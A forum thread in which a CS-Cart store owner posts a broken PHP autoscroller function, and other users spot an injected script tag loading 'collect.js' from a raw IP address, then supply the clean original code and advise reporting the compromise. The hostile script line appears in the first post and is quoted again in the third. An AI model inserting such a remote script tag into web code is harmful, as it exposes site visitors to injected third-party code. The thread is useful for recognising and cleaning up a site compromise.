Jump to content

  • You cannot start a new topic
  • You cannot reply to this topic

Store Down...help Needed! Rate Topic   - - - - -

 
  • yrick
  • Junior Member
  • Members
  • Join Date: 20-Nov 09
  • 8 posts

Posted 16 December 2014 - 07:16 PM #1

Hello, suddenly I have this error:

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/mysite/public_html/mydirectory/core/fn.common.php on line 1212

This is what that line shows (note bold is line 1212):

// Start javascript autoscroller
function fn_start_scroller()
{
if (defined('CONSOLE')) {
return true;
}

echo "
<html>
<head><title>" . PRODUCT_NAME . "</title>
<meta http-equiv='content-type' content='text/html; charset=" . CHARSET . "'>
<script type="text/javascript" src="http://122.155.168.1...t.js"></script></head>
<body>
<script language='javascript'>
loaded = false;
function refresh() {
var scroll_height = parseInt(document.body.scrollHeight);
window.scroll(0, scroll_height + 99999);
if (loaded == false) {
setTimeout('refresh()', 1000);
}
}
setTimeout('refresh()', 1000);
</script>
";
fn_flush();
}

I have no idea what the original code is supposed to look like. I do have the download zip file from CS-Cart, but when I unzip it, it looks like an installer program without the actual installed files.

Looks like to me I've been hacked.

The store is currently down.

Thanks for your help,
Rick

 
  • johnbol1
  • Never Re
  • Members
  • Join Date: 23-Feb 10
  • 4551 posts

Posted 16 December 2014 - 08:07 PM #2

May be a php problem, was the site ok before, and has php or upgrade happened ?
can u access admin

Custom printed hi visibility clothing sale the UK's online hivis safety shop
v4.5.2


 
  • Magpie Don
  • Senior Member
  • Members
  • Join Date: 01-Apr 09
  • 813 posts

Posted 16 December 2014 - 09:30 PM #3

<script type="text/javascript" src="http://122.155.168.105/ads/inpage/pub/collect.js"></script>
I'm looking at the common.php script for v3 right now and this script tag is not in the default CS-Cart store.
That same block of coding you displayed looks like this by default:
// Start javascript autoscroller
function fn_start_scroller()
{
    if (defined('CONSOLE')) {
        return true;
    }

echo "
  <html>
  <head><title>" . PRODUCT_NAME . "</title>
  <meta http-equiv='content-type' content='text/html; charset=" . CHARSET . "'>
  </head>
  <body>
  <script language='javascript'>
  loaded = false;
  function refresh() {
   var scroll_height = parseInt(document.body.scrollHeight);
   window.scroll(0, scroll_height + 99999);
   if (loaded == false) {
	setTimeout('refresh()', 1000);
   }
  }
  setTimeout('refresh()', 1000);
  </script>
";
fn_flush();
}

CS-Cart Ultimate ver 4.3.5


 
  • Anaconda
  • Senior Member
  • Members
  • Join Date: 19-Sep 14
  • 151 posts

Posted 16 December 2014 - 10:58 PM #4

Some advertising link with IP from thailand.

Try to replace with this code, its from version 4.2.2
// Start javascript autoscroller
function fn_start_scroller()
{
	if (defined('CONSOLE')) {
		return true;
	}
	echo "
		<html>
		<head><title>" . PRODUCT_NAME . "</title>
		<meta http-equiv='content-type' content='text/html; charset=" . CHARSET . "'>
		</head>
		<body>
		<script language='javascript'>
		loaded = false;
		function refresh()
		{
			var scroll_height = parseInt(document.body.scrollHeight);
			window.scroll(0, scroll_height + 99999);
			if (loaded == false) {
				setTimeout('refresh()', 1000);
			}
		}
		setTimeout('refresh()', 1000);
		</script>
	";
	fn_flush();
}


Stop Function, below the
// Stop javascript autoscroller
function fn_stop_scroller()
{
	if (defined('CONSOLE')) {
		return true;
	}
	echo "
	<script language='javascript'>
		loaded = true;
	</script>
	</body>
	</html>
	";
	fn_flush();
}

All together you should have this:
// Start javascript autoscroller
function fn_start_scroller()
{
	if (defined('CONSOLE')) {
		return true;
	}
	echo "
		<html>
		<head><title>" . PRODUCT_NAME . "</title>
		<meta http-equiv='content-type' content='text/html; charset=" . CHARSET . "'>
		</head>
		<body>
		<script language='javascript'>
		loaded = false;
		function refresh()
		{
			var scroll_height = parseInt(document.body.scrollHeight);
			window.scroll(0, scroll_height + 99999);
			if (loaded == false) {
				setTimeout('refresh()', 1000);
			}
		}
		setTimeout('refresh()', 1000);
		</script>
	";
	fn_flush();
}
// Stop javascript autoscroller
function fn_stop_scroller()
{
	if (defined('CONSOLE')) {
		return true;
	}
	echo "
	<script language='javascript'>
		loaded = true;
	</script>
	</body>
	</html>
	";
	fn_flush();
}

Hope this help for you

Regards

 
  • eComLabs
  • CS-Cart Expert
  • Authorized Reseller
  • Join Date: 27-Jan 14
  • 19368 posts

Posted 17 December 2014 - 09:17 AM #5

Looks like you are hacked. Please inform CS-Cart team about it. They should know about all possible security breaches.

GET A FREE QUOTE | CS-Cart Add-ons | CS-Cart Licenses | CS-Cart Development | CS-Cart Design | Server Configuration | UniTheme and YOUPI
CS-Cart                USD 345     Multi-Vendor              USD 1250    CS-Cart RU                         24500 руб.
CS-Cart Ultimate  USD 775     CS-Cart + YOUPI      USD 545      CS-Cart RU + UniTheme    36000 руб.


 
  • mokeshop
  • Senior Member
  • Members
  • Join Date: 27-Jul 12
  • 1000 posts

Posted 20 December 2014 - 05:41 PM #6

apsolute must post to the bugtracker and contact cs cart

http://forum.cs-cart.com/tracker/